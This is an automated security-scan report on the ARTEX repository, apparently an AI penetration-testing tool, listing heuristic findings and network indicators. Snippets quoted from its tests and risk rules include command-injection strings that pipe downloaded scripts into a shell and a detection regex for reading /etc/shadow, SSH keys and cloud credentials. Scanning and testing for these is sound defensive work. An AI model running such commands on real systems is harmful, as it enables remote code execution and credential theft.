github.com / BaaRai
BaaRai/ ARTEX
Go·1093 files·commit 3cb0638·scanned 13h ago·cached ✓
15/100
LOW RISK
Minor findings consistent with the project type. Nothing reachable from install hooks.
score capped at 15 — 19,065+ stars — findings likely false positives
verdict accurate?
19,065 stars
Research / educational context
Partial architecture graph
threat-state: lowlive
FINDINGS ░▒▓
what this code does░▒▓
What happens when you open, install or run it, from the findings below.
- when runinstall.sh downloads a script and pipes it to the shell:
curl -fsSL https://get.docker.com | sh. install.sh - when runserver/customtool.go starts system processes. server/customtool.go
- when runintercept/risk.go references SSH key or cloud credential paths (such as ~/.ssh or ~/.aws/credentials). intercept/risk.go
criticalGo os/exec usageos/exec is used to run external commands. In malware it drops payloads, modifies the system, or opens shells.server/customtool.go
defer cancel()
c := exec.CommandContext(runCtx, interp, tmp)
c.Dir = workDir
// The allowlist as the executor (execenv_unix.go), then the session proxy env.+8criticalGo os/exec usageos/exec is used to run external commands. In malware it drops payloads, modifies the system, or opens shells.server/env_scrub_test.go
out, err := exec.Command(sh, "-c", "env").Output()
if err != nil {
t.Fatal(err)+8criticalGo os/exec usageos/exec is used to run external commands. In malware it drops payloads, modifies the system, or opens shells.server/envseal_linux_test.go
ScrubSecretEnv()
child, err := exec.Command("env").Output()
if err != nil {
fmt.Printf("SEAL error %v\n", err)+8warningGo unsafe package usageunsafe package bypasses Go's type safety. Malware uses it for memory tricks, pointer casts, and hiding behavior.server/traffic_hooks_test.go
`package hook; import "syscall"; func OnRequest(req *Request) error { return nil }`,
`package hook; import "unsafe"; func OnRequest(req *Request) error { return nil }`,
`package hook; import "re...+3warningDownload piped into a shellA command downloads remote content and pipes it straight into a shell or interpreter (`curl … | bash`, `iwr … | iex`). Nothing is stored for review and the server can change the payload at any time. Common in CI and Dockerfiles, so this is a warning unless the host is hidden.hardening/rulecheck_test.go
curl https://e/x.sh | sh+4criticalRemote script piped into a shellA shell script downloads remote content and executes it directly (e.g. `curl … | bash`). The payload is never stored or reviewable and can change server-side — a classic malware/backdoor install pattern.install.sh
curl -fsSL https://get.docker.com | sh+10warningDownload piped into a shellA command downloads remote content and pipes it straight into a shell or interpreter (`curl … | bash`, `iwr … | iex`). Nothing is stored for review and the server can change the payload at any time. Common in CI and Dockerfiles, so this is a warning unless the host is hidden.intercept/target_test.go
curl http://a.example/;curl http://b.example|sh+4
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.traffic/hookvm/eval.go
func (e *vm) eval(expr ast.Expr, sc *env) any {
e.step()
switch x := expr.(type) {+8warningGo unsafe package usageunsafe package bypasses Go's type safety. Malware uses it for memory tricks, pointer casts, and hiding behavior.traffic/hookvm/vm_test.go
{"import_syscall", "request", `package hook; import "syscall"; func OnRequest(req *Request) error { return nil }`},
{"import_unsafe", "request", `package hook; import "unsafe"; func OnRequest(req ...+3warningGo unsafe package usageunsafe package bypasses Go's type safety. Malware uses it for memory tricks, pointer casts, and hiding behavior.traffic/stream.go
"unicode/utf8" "unsafe" "github.com/Autumn-27/artex/db"+3
warningHardcoded IP address in network callFetching data from hardcoded IP addresses instead of domain names is suspicious and may indicate C2 communication.server/llm_models_ssrf_test.go
// 1. Caller-supplied DefaultOllamaBaseURL ("http://127.0.0.1:11434/v1") must
// still be refused with no test seams and no allow-list entry.
bare := &Server{}+5warningGo net/http with hardcoded IPHardcoded public IP addresses in HTTP clients are common in malware C2 configurations.server/llm_models_ssrf_test.go
// 1. Caller-supplied DefaultOllamaBaseURL ("http://127.0.0.1:11434/v1") must
// still be refused with no test seams and no allow-list entry.
bare := &Server{}+4warningHardcoded IP address in network callFetching data from hardcoded IP addresses instead of domain names is suspicious and may indicate C2 communication.traffic/traffic.go
if strings.HasPrefix(t.addr, ":") {
return "http://127.0.0.1" + t.addr
}
return "http://" + t.addr+5warningGo net/http with hardcoded IPHardcoded public IP addresses in HTTP clients are common in malware C2 configurations.traffic/traffic.go
if strings.HasPrefix(t.addr, ":") {
return "http://127.0.0.1" + t.addr
}
return "http://" + t.addr+4warningBrowser extension injects content scripts on all URLsManifest declares content scripts or host permissions for all URLs (tabs). Combined with wallet code this is a common fake-extension drainer pattern.extension/manifest.json+6
warningSSH/credential path accessAccessing .ssh, .aws/credentials, or .env files to steal authentication credentials.intercept/risk.go
`(^|[\s;&|(])(sudo|su)(\s|$)|\bchmod\s+(-\w+\s+)*0?777\b|\bsetcap\b`),
reSignal("reads secrets (/etc/shadow, .ssh, .aws/credentials, .git-credentials)", 40,
`/etc/shadow|\.ssh/|\.aws/credentials|...+5warningExtremely long lines (>1000 chars)Very long lines in source files (not minified bundles) can hide malicious code.agent/promptcatalog.go+4
warningExtremely long lines (>1000 chars)Very long lines in source files (not minified bundles) can hide malicious code.agent/worker.go+4
Scores reflect the files and rules covered by this scan. How to read this report
971 files scanned @ 3cb0638 | 11/24/2026 | heuristic scan — always review manually
risk by category
code execution25
network & exfiltration24
file system access5
obfuscation8
supply chain2
owasp / injection0
telemetry
files 971/1093rules hit 20engine v11commit 3cb0638
github
BaaRai/ARTEX
Actively maintained ARTEX: AI autonomous penetration testing system. Self-hosted, model-agnostic, evidence-backed findings. Community continuation of Autumn-27/ARTEX, AGPL-3.0.
19065
7139
48d
1093 files
971 scanned(89%)
3cb0638
network indicators░▒▓
Hosts this code names or would connect to. Top 50 of 150, decoded and call-site destinations first. Informational, not scored.
- https://api.deepseek.com/chat/completionsurlnext to network call.github/scripts/bot.sh:35
- https://admin.acme.comurlnext to network callweb/src/lib/mock/data.ts:1322 +2 more
- https://acme.comurlnext to network callweb/src/lib/mock/data.ts:1322 +1 more
- https://admin.acme.com/loginurlnext to network callweb/src/lib/mock/data.ts:1742 +8 more
- https://admin.acme.com/dashboardurlnext to network callweb/src/lib/mock/data.ts:1784 +1 more
- https://www.acme.com/searchurlnext to network callweb/src/lib/mock/data.ts:1847 +12 more
- https://api.acme.com/v1/ordersurlnext to network callweb/src/lib/mock/data.ts:1932 +6 more
- https://admin.acme.com/api/usersurlnext to network callweb/src/lib/mock/data.ts:2012 +2 more
- https://www.acme.com/.git/HEADurlnext to network callweb/src/lib/mock/data.ts:2051 +1 more
- https://shop.acme.comurlnext to network callweb/src/lib/mock/data.ts:2136
- https://shop.acme.com/api/importurlnext to network callweb/src/lib/mock/data.ts:2158 +4 more
- https://api.acme.com/v1/users/meurlnext to network callweb/src/lib/mock/data.ts:3740 +2 more
- https://raw.githubusercontent.com/a/b/c/exploit.pypaste hostnext to network calltest onlyhardening/rulecheck_test.go:65
- https://www.docker.com/products/docker-desktop/urlinstall.sh:40
- https://get.docker.comurlinstall.sh:57
- 151.101.0.223ipnext to network calltest onlyintercept/target_gate_test.go:544 +13 more
- download.docker.comdomaininstall.sh:70
- https://api.telegram.org/botS4/sendMessagetelegram bottest onlynotify/redact_test.go:135
- https://api.telegram.org/bottelegram bottest onlynotify/redact_test.go:167
- http://t.com/api/user/deleteurlnext to network calltest onlydb/intercept_seed_test.go:15
- http://t.com/admin/deleteurlnext to network calltest onlydb/intercept_seed_test.go:16
- http://t.com/api/deleteAllurlnext to network calltest onlydb/intercept_seed_test.go:17
- http://t.com/api/delete_userurlnext to network calltest onlydb/intercept_seed_test.go:18
- http://t.com/api/delete-userurlnext to network calltest onlydb/intercept_seed_test.go:19
- http://t.com/api/removeurlnext to network calltest onlydb/intercept_seed_test.go:20
- http://t.com/files/unlink/3urlnext to network calltest onlydb/intercept_seed_test.go:21
- http://t.com/api/delurlnext to network calltest onlydb/intercept_seed_test.go:22
- http://t.com/api/deliveryurlnext to network calltest onlydb/intercept_seed_test.go:35
- http://t.com/order/detailsurlnext to network calltest onlydb/intercept_seed_test.go:36
- http://t.com/api/delta/syncurlnext to network calltest onlydb/intercept_seed_test.go:37
- http://t.com/user/delegateurlnext to network calltest onlydb/intercept_seed_test.go:38
- http://t.com/remote/statusurlnext to network calltest onlydb/intercept_seed_test.go:40
- https://github.com/a/b.giturlnext to network calltest onlyhardening/rulecheck_test.go:66
- https://github.com/a/burlnext to network calltest onlyhardening/rulecheck_test.go:78
- https://html.duckduckgo.com/html/urlnext to network calltest onlyintercept/target_gate_test.go:729
- https://html.duckduckgo.comurlserver/manager.go:1064 +1 more
- https://api.search.brave.comurlserver/manager.go:1065
- https://api.tavily.comurlserver/manager.go:1066
- https://api.keenable.aiurlserver/manager.go:1067
- https://api.openai.com/v1urlserver/server_mgmt.go:2711 +1 more
- https://api.anthropic.comurlserver/server_mgmt.go:2733
- https://api.github.com/repos/BaaRai/ARTEX/releases/latesturlserver/update_check.go:18
- https://redhaze.topurlsidequestion/validation-2026-09-10.json:62 +8 more
- https://id.redhaze.topurlsidequestion/validation-2026-09-10.json:88 +1 more
- https://example.gov.cn/loginurlweb/src/app/(main)/system/intercept/assets/page.tsx:28
- https://oapi.dingtalk.com/robot/sendurlweb/src/app/(main)/system/notify/_components/channel-fields.ts:41 +8 more
- https://open.feishu.cn/open-apis/bot/v2/hook/urlweb/src/app/(main)/system/notify/_components/channel-fields.ts:55
- https://qyapi.weixin.qq.com/cgi-bin/webhook/sendurlweb/src/app/(main)/system/notify/_components/channel-fields.ts:64 +1 more
- https://api.telegram.orgurlweb/src/app/(main)/system/notify/_components/channel-fields.ts:97 +4 more
- https://brave.com/search/api/urlweb/src/app/(main)/system/settings/page.tsx:623
architecture░▒▓
entry (1) flagged (22) pkg (245)
645 nodes · 2530 edgesscroll to zoom · click node to jump to finding